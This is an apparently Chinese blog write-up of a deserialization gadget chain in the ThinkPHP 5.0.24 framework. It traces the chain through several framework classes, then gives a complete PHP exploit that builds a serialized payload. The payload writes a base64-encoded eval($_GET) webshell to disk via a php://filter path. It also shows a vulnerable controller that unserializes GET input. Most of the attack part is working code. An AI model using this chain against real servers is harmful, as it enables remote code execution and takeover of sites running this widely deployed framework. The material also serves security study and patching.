thinkPHP5.0.24反序列化链

thinkPHP5.0.24反序列化链

首先我们先全局搜索__destruct(),然后可以使用think\process\pipes\Windows.php里的__destruct()

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

然后看向removeFiles()

1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

由于file_exists()函数的特性,我们可以通过构造$this->files来触发__toString()魔术方法,因此,我们全局搜索__toString(),发现我们可以利用think\Model.php的__toString()

1
2
3
4
public function __toString()
{
return $this->toJson();
}

然后看向toJson函数,然后再看向toArray函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];

$data = array_merge($this->data, $this->relation);

// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation(); //$this->error
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

我们可以利用这里触发__call()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

我们发现$name是可控的,而且搜索这一个类,发现getError()函数可以使用

1
2
3
4
public function getError()
{
return $this->error;
}

而$this->error也是可控的,而看向Loader::parseName($name, 1, false),通过解释,发现它只是改变字符串的风格,所以$relation会是$name的值,而这里$modelRelation = $this->$relation();会调用getError()函数,然后我们再看向getRelationData()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}

可见我们需要找到有getRelation方法的类,且这个类中的getRelation方法可以触发__call(),因此我们通过全局搜索,可以使用think\model\relation\BelongsTo.php里的getRelation方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function getRelation($subRelation = '', $closure = null)
{
$foreignKey = $this->foreignKey;
if ($closure) {
call_user_func_array($closure, [ & $this->query]);
}
$relationModel = $this->query
->removeWhereField($this->localKey)
->where($this->localKey, $this->parent->$foreignKey)
->relation($subRelation)
->find();

if ($relationModel) {
$relationModel->setParent(clone $this->parent);
}

return $relationModel;
}

同时因为$this->query是可控的,所以我们可以构造$this->query来触发__call,所以我们需要全局搜索__call,发现按我们可以使用think\console\Output.php里的__call()

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}

if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}

然后再看向block()函数,然后再看向writeln()函数,然后再看向write()函数

1
2
3
4
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}

此时$this->handle是可控的,所以我们可以全局搜索write,使用think\session\driver\Memcache.php里的write

1
2
3
4
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}

使用think\cache\driver\Memcached.php的set

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
if ($this->tag && !$this->has($name)) {
$first = true;
}
$key = $this->getCacheKey($name); //PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4+$name
$expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire;
if ($this->handler->set($key, $value, $expire)) { // $this->handler->set($key, $value, $expire)为true
isset($first) && $this->setTagItem($key);
return true;
}
return false;
}

然后我们看向赋值给$key的getCacheKry()函数,

1
2
3
4
protected function getCacheKey($name)
{
return $this->options['prefix'] . $name;
}

发现$this->options[‘prefix’]是可控的,然后我们再使用think\cache\driver\File.php的set

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function set($name, $value, $expire = null) //第二次调用时,$name=tag_.md5('123'),$value=$filename
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true); //php://filter/convert.base64-decode/resource=./md5(PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4+$name).$name.php
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}

由于进入的数据$data会因为exit();,导致后面的数据无法使用,所以我们可以使用php伪协议的方式进行绕过,我们再次看向File.php的getCacheKey()函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected function getCacheKey($name, $auto = false)
{
$name = md5($name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php'; // php://filter/convert.base64-decode/resource=./md5(PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4+$name).$name.php
$dir = dirname($filename);

if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename;
}

可知$this->option[‘path’]是可控的,所以导入数据的文件名也是可控的,所以我们可以先第一次,导入数据进文件中,致使think\cache\driver\Memcached.php中的$this->handler->set($key, $value, $expire)为true,然后致使$key进入到setTagltem中去,而$key是我们可以控制的,所以我们看向setTagltem()函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag); //$this->tag='123'
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name; //PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4+$name
}
$this->set($key, $value, 0); //$value=$filename,$key=tag_.md5('123')
}
}

我们输入的$key会变为$name,然后文件名为 ‘tag_’ . md5($this->tag),最后再次进入File.php的set方法中,然后写入文件,按照以上的思路的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php
namespace think\process\pipes;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new \think\model\Merge];
}
}

namespace think\model;
use think\Model;

class Merge extends Model
{
protected $append = [];
protected $error;

public function __construct()
{
$this->append = [
'bb' => 'getError'
];
$this->error = (new \think\model\relation\BelongsTo);
}
}
namespace think;
class Model{}


namespace think\model\relation;
class BelongsTo
{
protected $query;
public function __construct()
{
$this->query = (new \think\console\Output);
}
}

namespace think\console;
class Output
{
protected $styles = [];
private $handle = null;
public function __construct()
{
$this->styles = ['removeWhereField'];
$this->handle = (new \think\session\driver\Memcache);
}
}



namespace think\session\driver;
class Memcache
{
protected $handler = null;
public function __construct()
{
$this->handler = (new \think\cache\driver\Memcached);
}
}
namespace think\cache\driver;

class Memcached
{
protected $tag;
protected $options = [];
protected $handler = null;

public function __construct()
{
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',
];
$this->handler = (new File);
}
}

class File
{
protected $tag;
protected $options = [];
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => '',
'cache_subdir' => '',
'prefix' => '',
'data_compress' => '',
'path' => 'php://filter/convert.base64-decode/resource=./',
];
}
}


echo base64_encode(serialize(new \think\process\pipes\Windows));

然后在application的lndex.php文件中构造

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$a=$_GET[1];
unserialize(base64_decode($a));
return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';
}
}

然后get提交base64加密的值,即可在本目录下生成文件

参考文章:[https://www.cnblogs.com/xiaozhiru/p/12452528.html]
[https://blog.csdn.net/qq_41891666/article/details/107503710]